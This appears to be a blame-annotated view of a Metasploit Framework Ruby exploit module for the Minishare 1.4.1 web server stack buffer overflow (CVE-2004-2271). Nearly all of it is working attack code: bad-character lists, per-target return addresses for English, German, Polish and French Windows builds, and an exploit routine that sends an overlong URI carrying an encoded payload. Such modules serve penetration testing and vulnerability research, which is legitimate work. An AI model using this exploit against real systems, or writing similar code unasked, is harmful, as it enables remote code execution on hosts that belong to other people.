2007-02-18 00:10:39 +00:00
|
|
|
##
|
2007-03-01 08:21:36 +00:00
|
|
|
# $Id$
|
2007-02-18 00:10:39 +00:00
|
|
|
##
|
|
|
|
|
|
|
|
##
|
2010-04-30 08:40:19 +00:00
|
|
|
# This file is part of the Metasploit Framework and may be subject to
|
2007-02-18 00:10:39 +00:00
|
|
|
# redistribution and commercial restrictions. Please see the Metasploit
|
|
|
|
# Framework web site for more information on licensing and terms of use.
|
2009-04-13 14:33:26 +00:00
|
|
|
# http://metasploit.com/framework/
|
2007-02-18 00:10:39 +00:00
|
|
|
##
|
|
|
|
|
2005-12-26 14:34:22 +00:00
|
|
|
require 'msf/core'
|
|
|
|
|
2008-10-02 05:23:59 +00:00
|
|
|
class Metasploit3 < Msf::Exploit::Remote
|
2009-12-06 05:50:37 +00:00
|
|
|
Rank = AverageRanking
|
2005-12-26 14:34:22 +00:00
|
|
|
|
2008-10-02 05:23:59 +00:00
|
|
|
include Msf::Exploit::Remote::HttpClient
|
2005-12-26 14:34:22 +00:00
|
|
|
|
|
|
|
def initialize(info = {})
|
2010-04-30 08:40:19 +00:00
|
|
|
super(update_info(info,
|
2005-12-26 14:34:22 +00:00
|
|
|
'Name' => 'Minishare 1.4.1 Buffer Overflow',
|
|
|
|
'Description' => %q{
|
2010-04-30 08:40:19 +00:00
|
|
|
This is a simple buffer overflow for the minishare web
|
2005-12-26 14:34:22 +00:00
|
|
|
server. This flaw affects all versions prior to 1.4.2. This
|
2010-05-09 17:45:00 +00:00
|
|
|
is a plain stack buffer overflow that requires a "jmp esp" to reach
|
2005-12-26 14:34:22 +00:00
|
|
|
the payload, making this difficult to target many platforms
|
|
|
|
at once. This module has been successfully tested against
|
|
|
|
1.4.1. Version 1.3.4 and below do not seem to be vulnerable.
|
|
|
|
},
|
|
|
|
'Author' => [ 'acaro <acaro@jervus.it>' ],
|
2006-05-06 16:34:39 +00:00
|
|
|
'License' => BSD_LICENSE,
|
2005-12-26 14:34:22 +00:00
|
|
|
'Version' => '$Revision$',
|
|
|
|
'References' =>
|
|
|
|
[
|
2009-07-16 16:02:24 +00:00
|
|
|
[ 'CVE', '2004-2271'],
|
2005-12-26 14:34:22 +00:00
|
|
|
[ 'OSVDB', '11530'],
|
|
|
|
[ 'BID', '11620'],
|
|
|
|
[ 'URL', 'http://archives.neohapsis.com/archives/fulldisclosure/2004-11/0208.html'],
|
|
|
|
],
|
|
|
|
'Privileged' => false,
|
|
|
|
'Payload' =>
|
|
|
|
{
|
|
|
|
'Space' => 1024,
|
|
|
|
'BadChars' => "\x00\x3a\x26\x3f\x25\x23\x20\x0a\x0d\x2f\x2b\x0b\x5c\x40",
|
|
|
|
'MinNops' => 64,
|
2006-07-31 02:01:14 +00:00
|
|
|
'StackAdjustment' => -3500,
|
2005-12-26 14:34:22 +00:00
|
|
|
},
|
|
|
|
'Platform' => 'win',
|
2010-04-30 08:40:19 +00:00
|
|
|
'Targets' =>
|
2005-12-26 14:34:22 +00:00
|
|
|
[
|
|
|
|
['Windows 2000 SP0-SP3 English', { 'Rets' => [ 1787, 0x7754a3ab ]}], # jmp esp
|
|
|
|
['Windows 2000 SP4 English', { 'Rets' => [ 1787, 0x7517f163 ]}], # jmp esp
|
|
|
|
['Windows XP SP0-SP1 English', { 'Rets' => [ 1787, 0x71ab1d54 ]}], # push esp, ret
|
|
|
|
['Windows XP SP2 English', { 'Rets' => [ 1787, 0x71ab9372 ]}], # push esp, ret
|
|
|
|
['Windows 2003 SP0 English', { 'Rets' => [ 1787, 0x71c03c4d ]}], # push esp, ret
|
|
|
|
['Windows NT 4.0 SP6', { 'Rets' => [ 1787, 0x77f329f8 ]}], # jmp esp
|
|
|
|
['Windows XP SP2 German', { 'Rets' => [ 1787, 0x77d5af0a ]}], # jmp esp
|
|
|
|
['Windows XP SP2 Polish', { 'Rets' => [ 1787, 0x77d4e26e ]}], # jmp esp
|
|
|
|
['Windows XP SP2 French', { 'Rets' => [ 1787, 0x77d5af0a ]}], # jmp esp
|
|
|
|
],
|
|
|
|
'DisclosureDate' => 'Nov 7 2004'))
|
|
|
|
end
|
|
|
|
|
|
|
|
def exploit
|
2007-03-01 08:21:36 +00:00
|
|
|
uri = rand_text_alphanumeric(target['Rets'][0])
|
2005-12-26 14:34:22 +00:00
|
|
|
uri << [target['Rets'][1]].pack('V')
|
|
|
|
uri << payload.encoded
|
2010-04-30 08:40:19 +00:00
|
|
|
|
2005-12-26 14:34:22 +00:00
|
|
|
print_status("Trying target address 0x%.8x..." % target['Rets'][1])
|
2006-12-28 23:42:36 +00:00
|
|
|
send_request_raw({
|
|
|
|
'uri' => uri
|
|
|
|
}, 5)
|
2010-04-30 08:40:19 +00:00
|
|
|
|
2005-12-26 14:34:22 +00:00
|
|
|
handler
|
|
|
|
end
|
|
|
|
|
2009-07-16 16:02:24 +00:00
|
|
|
end
|